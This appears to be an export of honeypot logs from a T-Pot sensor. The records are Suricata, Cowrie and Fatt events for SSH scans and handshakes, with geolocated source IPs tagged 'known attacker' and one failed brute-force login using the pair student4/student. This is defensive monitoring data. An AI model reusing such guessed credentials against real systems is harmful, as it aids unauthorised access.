32490	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:51:34.813186+03	2021-09-20 15:00:03.546716+03	{"_id": "dgYMA3wBvYTbRNuEE0oJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6277, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 316068619249794, "@version": "1", "in_iface": "enp5s0", "src_port": 48972, "dest_port": 53, "timestamp": "2021-09-20T11:51:34.813186Z", "@timestamp": "2021-09-20T11:51:34.813Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32491	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:51:45.5118+03	2021-09-20 15:00:03.547716+03	{"_id": "lAYMA3wBvYTbRNuEO0on", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33548, "timestamp": "2021-09-20T11:51:45.511800", "@timestamp": "2021-09-20T11:51:45.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32492	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:51:45.647375+03	2021-09-20 15:00:03.548717+03	{"_id": "nAYMA3wBvYTbRNuEPEqU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "be7684a9a6a9", "@version": "1", "timestamp": "2021-09-20T11:51:45.647375Z", "@timestamp": "2021-09-20T11:51:45.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
44886	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:42:27.037551+03	2021-09-20 16:45:02.244592+03	{"_id": "1QZxA3wBvYTbRNuElavt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:42:27.037551Z", "@timestamp": "2021-09-20T13:42:27.037Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32493	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:51:45.645496+03	2021-09-20 15:00:03.549716+03	{"_id": "nQYMA3wBvYTbRNuEPkoH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 257566870450060, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33548, "dest_port": 22, "timestamp": "2021-09-20T11:51:45.645496Z", "@timestamp": "2021-09-20T11:51:45.645Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32494	107.0.200.227	109.199.241.180	Fatt	2021-09-20 14:51:45.64673+03	2021-09-20 15:00:03.550718+03	{"_id": "ngYMA3wBvYTbRNuEP0oQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33548, "dest_port": 22, "timestamp": "2021-09-20T11:51:45.646730", "@timestamp": "2021-09-20T11:51:45.646Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32495	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:51:46.277645+03	2021-09-20 15:00:03.553717+03	{"_id": "pAYMA3wBvYTbRNuEQEp9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [student4/student] failed", "session": "be7684a9a6a9", "@version": "1", "password": "student", "username": "student4", "timestamp": "2021-09-20T11:51:46.277645Z", "@timestamp": "2021-09-20T11:51:46.277Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32496	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:51:47.417148+03	2021-09-20 15:00:03.554718+03	{"_id": "pwYMA3wBvYTbRNuEREpm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "be7684a9a6a9", "@version": "1", "duration": 1.906386375427246, "timestamp": "2021-09-20T11:51:47.417148Z", "@timestamp": "2021-09-20T11:51:47.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32497	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:51:50.147798+03	2021-09-20 15:00:03.555717+03	{"_id": "qgYMA3wBvYTbRNuETUqp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:51:50.074844+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1752191867429980, "payload": "AAADzAYU7CpqqdcoWjKNcojtV739XgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32790, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:51:50.147798Z", "@timestamp": "2021-09-20T11:51:50.147Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......*j..(Z2.r..W..^...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32498	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:51:50.114533+03	2021-09-20 15:00:03.557716+03	{"_id": "qwYMA3wBvYTbRNuETkqy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32790, "timestamp": "2021-09-20T11:51:50.114533", "@timestamp": "2021-09-20T11:51:50.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32499	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:51:50.110497+03	2021-09-20 15:00:03.558716+03	{"_id": "tgYMA3wBvYTbRNuEUEof", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:32790 (192.168.176.2:22) [session: bbf4d8f5527c]", "session": "bbf4d8f5527c", "@version": "1", "protocol": "ssh", "src_port": 32790, "dest_port": 22, "timestamp": "2021-09-20T11:51:50.110497Z", "@timestamp": "2021-09-20T11:51:50.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32500	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:51:52.728364+03	2021-09-20 15:00:03.559717+03	{"_id": "vwYMA3wBvYTbRNuEV0rw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "7c2b278c12da", "@version": "1", "timestamp": "2021-09-20T11:51:52.728364Z", "@timestamp": "2021-09-20T11:51:52.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32501	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:51:52.727628+03	2021-09-20 15:00:03.561718+03	{"_id": "wQYMA3wBvYTbRNuEWUpj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1256228371499192, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 31487, "dest_port": 22, "timestamp": "2021-09-20T11:51:52.727628Z", "@timestamp": "2021-09-20T11:51:52.727Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32502	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:51:49.193997+03	2021-09-20 15:00:03.562717+03	{"_id": "qAYMA3wBvYTbRNuESUq_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:46.193857+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 222, "bytes_toserver": 222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1856697011467585, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 45118, "dest_port": 22, "timestamp": "2021-09-20T11:51:49.193997Z", "@timestamp": "2021-09-20T11:51:49.193Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
